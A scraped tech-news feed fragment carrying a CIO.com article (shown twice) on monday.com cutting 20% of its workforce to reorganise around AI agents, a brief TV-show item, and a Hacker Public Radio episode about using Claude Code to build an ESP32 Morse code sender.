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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Stuart Fails to Save the Universe will contradict Big Bang Theory lore — and according to the new HBO Max show's creators, it's a 'deliberate choice']]></title>
<description><![CDATA[Surely Big Bang Theory spinoff Stuart Fails to Save the Universe will prioritize lore continuity, right? In a multiverse, the new HBO Max show is actually designed not to.]]></description>
<link>https://tsecurity.de/de/3687831/it-nachrichten/stuart-fails-to-save-the-universe-will-contradict-big-bang-theory-lore-and-according-to-the-new-hbo-max-shows-creators-its-a-deliberate-choice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687831/it-nachrichten/stuart-fails-to-save-the-universe-will-contradict-big-bang-theory-lore-and-according-to-the-new-hbo-max-shows-creators-its-a-deliberate-choice/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Surely Big Bang Theory spinoff Stuart Fails to Save the Universe will prioritize lore continuity, right? In a multiverse, the new HBO Max show is actually designed not to.]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
